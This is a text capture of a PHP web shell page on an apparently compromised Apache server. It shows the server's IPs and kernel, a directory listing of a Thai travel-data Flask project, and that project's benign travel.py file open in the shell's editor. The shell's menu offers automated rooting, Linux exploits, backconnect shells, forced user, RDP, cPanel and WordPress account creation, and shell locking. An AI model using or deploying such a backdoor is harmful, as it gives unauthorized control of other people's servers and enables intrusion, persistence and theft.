Linux 45-56-67-123 5.14.0-503.16.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Dec 13 01:47:05 EST 2024 x86_64
Apache/2.4.62 (AlmaLinux) OpenSSL/3.2.2
: 45.56.67.123 | : 18.117.132.49
Cant Read [ /etc/named.conf ]
8.3.15
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
afra /
py.afaa.website /
[ HOME SHELL ]
Name
Size
Permission
Action
.vscode
[ DIR ]
drwxr-xr-x
__pycache__
[ DIR ]
drwxr-xr-x
explore
[ DIR ]
drwxr-xr-x
mara1_model
[ DIR ]
drwxr-xr-x
nltk_data
[ DIR ]
drwxr-xr-x
pythainlp_data
[ DIR ]
drwxr-xr-x
runs
[ DIR ]
drwxr-xr-x
venv
[ DIR ]
drwxr-xr-x
yolo8
[ DIR ]
drwxr-xr-x
. htaccess
417
B
-rwxr-xr-x
.htaccess
197
B
-rwxr-xr-x
app.log
66
B
-rwxr-xr-x
app.py
16.16
KB
-rwxr-xr-x
app.wsgi
568
B
-rwxr-xr-x
blog_ttt_website.py
5.07
KB
-rwxr-xr-x
config.py
485
B
-rwxr-xr-x
content_content_image_ram.py
11.07
KB
-rw-r--r--
content_main_ram.py
15.99
KB
-rw-r--r--
detect.py
8.16
KB
-rwxr-xr-x
explore.py
11.4
KB
-rw-r--r--
json_logfile.json
18
B
-rwxr-xr-x
keywords.json
203
B
-rw-r--r--
locations.json
299
B
-rw-r--r--
read_virus_files_php.py
2.6
KB
-rwxr-xr-x
table.csv
56.2
KB
-rw-r--r--
travel.py
6.89
KB
-rw-r--r--
travel_action.py
10.72
KB
-rw-r--r--
travel_mara1.py
12.6
KB
-rw-r--r--
travel_nltk_base.py
5.21
KB
-rw-r--r--
travel_pythainlp.py
9.37
KB
-rw-r--r--
udo systemctl daemon-reload
1.07
KB
-rwxr-xr-x
udo systemctl restart apache2
1.25
KB
-rwxr-xr-x
your_flask_service.log
1.07
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : travel.py
#/var/www/afra/py.afaa.website/travel.py # python3 travel.py from flask import Flask, jsonify, request from flask_cors import CORS import mysql.connector from config import DB_CONFIG_TRIP import re import os import sys # Add current directory to Python path to ensure module is found sys.path.append(os.path.dirname(os.path.abspath(__file__))) import travel_pythainlp as thai_nlp import travel_nltk_base as nltk_base app = Flask(__name__) CORS(app) def query_db(query, params=None): with mysql.connector.connect(**DB_CONFIG_TRIP) as conn: with conn.cursor(dictionary=True) as cursor: cursor.execute(query, params or ()) return cursor.fetchall() def clean_text(text): """Basic text cleaning without PyThaiNLP-specific logic.""" if text is None: return "" text = re.sub(r'<br\s*/?>', '\n', text, flags=re.IGNORECASE) text = re.sub(r'<script.*?>.*?</script>', '', text, flags=re.DOTALL) text = re.sub(r'<[^>]+>', '', text) text = re.sub(r'[ \t]+', ' ', text) text = re.sub(r'\n+', '\n', text) return text.strip() def process_job_detail2(text): if thai_nlp is None: print("Warning: thai_nlp module not available, using NLTK processing.") return nltk_base.process_text_with_nltk(text, clean_text) try: print("Processing with PyThaiNLP") return thai_nlp.process_text(text) except Exception as e: print(f"Error in thai_nlp.process_text: {str(e)}, falling back to NLTK") return nltk_base.process_text_with_nltk(text, clean_text) def get_travel_data_from_db(): job_id = request.args.get('Job_ID', default=None, type=int) job_name = request.args.get('Job_Name', default=None, type=str) job_details = request.args.get('Job_Details', default=None, type=str) product_category1 = request.args.get('ProductCategoryID', default=None, type=int) product_category2 = request.args.get('ProductCategoryID2', default=None, type=int) product_category3 = request.args.get('ProductCategory3ID', default=None, type=int) limit = request.args.get('limit', default=10, type=int) offset = request.args.get('offset', default=0, type=int) count_query = """ SELECT COUNT(*) as total_count FROM job WHERE 1=1 """ count_params = [] if job_id: count_query += " AND job.Job_ID = %s" count_params.append(job_id) if job_name: count_query += " AND job.Job_Name LIKE %s" count_params.append(f"%{job_name}%") if job_details: count_query += " AND job.Job_Details LIKE %s" count_params.append(f"%{job_details}%") if product_category1: count_query += " AND job.ProductCategoryID = %s" count_params.append(product_category1) if product_category2: count_query += " AND job.ProductCategoryID2 = %s" count_params.append(product_category2) if product_category3: count_query += " AND job.ProductCategory3ID = %s" count_params.append(product_category3) total_count_result = query_db(count_query, count_params) total_count = total_count_result[0]['total_count'] job_query = """ SELECT job.Job_ID, job.Member_ID, job.Job_Code, job.Job_Name, job.Job_Details, job.Job_Detail2, job.Job_Detail3, job.Job_Maps, job.PROVINCE_ID, job.ProductCategoryID, job.ProductCategoryID2, job.ProductCategory3ID, job.StatusLevelPopularity_ID, job.Job_Addr, DATE_FORMAT(job.Job_Date, '%Y-%m-%d') as Job_Date, CAST(job.Job_Time AS CHAR) as Job_Time, job.Job_visitors, job.StatusJob_ID FROM job WHERE 1=1 """ query_params = [] if job_id: job_query += " AND job.Job_ID = %s" query_params.append(job_id) if job_name: job_query += " AND job.Job_Name LIKE %s" query_params.append(f"%{job_name}%") if job_details: job_query += " AND job.Job_Details LIKE %s" query_params.append(f"%{job_details}%") if product_category1: job_query += " AND job.ProductCategoryID = %s" query_params.append(product_category1) if product_category2: job_query += " AND job.ProductCategoryID2 = %s" query_params.append(product_category2) if product_category3: job_query += " AND job.ProductCategory3ID = %s" query_params.append(product_category3) job_query += " ORDER BY job.Job_ID DESC LIMIT %s OFFSET %s" query_params.append(limit) query_params.append(offset) jobs = query_db(job_query, query_params) for job in jobs: job_id = job["Job_ID"] img_query = """ SELECT JobImg_ID, JobImg_img, JobImg_img_original, Job_ID, StatusJobImg_ID, JobImg_sort FROM job_img WHERE StatusJobImg_ID = 1 AND Job_ID = %s ORDER BY JobImg_sort """ images = query_db(img_query, (job_id,)) for img in images: # เก็บค่า original ไว้เสมอใน key "JobImg_img_original" if "JobImg_img_original" not in img or not img["JobImg_img_original"]: img["JobImg_img_original"] = img["JobImg_img"] # ตรวจสอบว่าค่า JobImg_img เป็น URL หรือไม่ if not (img["JobImg_img"].startswith("http://") or img["JobImg_img"].startswith("https://")): img["JobImg_img"] = f"https://afaa.website/img/travel/{img['JobImg_img']}" job["images"] = images job["Job_Details"] = clean_text(job["Job_Details"]) job["Job_Detail2"] = clean_text(job["Job_Detail2"]) job["Job_Detail3"] = clean_text(job["Job_Detail3"]) try: detail2_processing = process_job_detail2(job["Job_Detail2"]) job["Job_Detail2_Process"] = { "processed_text": detail2_processing["processed_text"], "formatted_text": detail2_processing["formatted_text"], "sentiment": detail2_processing["sentiment"] } except Exception as e: print(f"Error processing Job_Detail2 for Job_ID {job_id}: {str(e)}") job["Job_Detail2_Process"] = { "processed_text": "", "formatted_text": "<p>" + clean_text(job["Job_Detail2"]).replace("\n", " ") + "</p>", "sentiment": "neutral" } return { "jobs": jobs, "total_count": total_count, "limit": limit, "offset": offset } @app.route('/travel/api/view', methods=['GET']) def get_travel_views(): try: travel_data = get_travel_data_from_db() return jsonify(travel_data) except Exception as e: return jsonify({"error": f"Failed to fetch travel data: {str(e)}"}), 500 if __name__ == "__main__": app.run(host='0.0.0.0', port=421)
Close